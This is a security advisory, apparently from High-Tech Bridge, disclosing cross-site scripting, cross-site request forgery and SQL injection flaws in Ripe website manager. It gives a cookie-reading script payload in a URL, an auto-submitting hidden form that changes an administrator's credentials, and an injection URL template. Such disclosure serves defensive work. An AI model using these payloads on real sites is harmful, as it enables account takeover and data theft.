Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Ripe website manager which could be exploited to perform cross-site scripting, cross-site request forgery and SQL injection attacks.
1) Cross-site scripting (XSS) vulnerabilities in Ripe website manager
The vulnerability exists due to input sanitation error in the "menu_id" parameter in ripe/modules/nav/admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/ripe/?v=2&a=2&id=1&menu_id=1"><script>alert(document.cookie)</sc ript>

2) Cross-site request forgery (CSRF) vulnerabilities in Ripe website manager
The vulnerability exists due to insufficient validation of the request origin in ripe/modules/members/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation examples:
<form action="http://host/ripe/?v=5&a=2&id=USERID" method="post" name="main">
<input type="hidden" name="actionformSubmit" value="1">
<input type="hidden" name="x" value="1">
<input type="hidden" name="y" value="1">
<input type="hidden" name="ripe_user" value="test">
<input type="hidden" name="ripe_name" value="test test">
<input type="hidden" name="ripe_email" value="email@example.com">
<input type="hidden" name="ripe_group" value="2">
<input type="hidden" name="ripe_new_pass" value="">
<input type="hidden" name="ripe_new_pass2" value="">
<input type="hidden" name="a_pages" value=" ">
<input type="hidden" name="a_menus" value=" ">
<input type="hidden" name="a_files" value=" ">
<input type="hidden" name="a_stats" value=" ">
<input type="hidden" name="a_forms" value=" ">
<input type="hidden" name="a_adverts" value=" ">
<input type="hidden" name="a_users" value=" ">
<input type="hidden" name="a_templates" value=" ">
<input type="hidden" name="change" value="change">
<input type="hidden" name="id" value="USERID">
</form>
<script>
document.main.submit();
</script>


3) SQL injection vulnerability in Ripe website manager
The vulnerability exists due to input sanitation error in the "v" parameter in ripe/index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://host/ripe/?v=1"+SQL_CODE&a=1
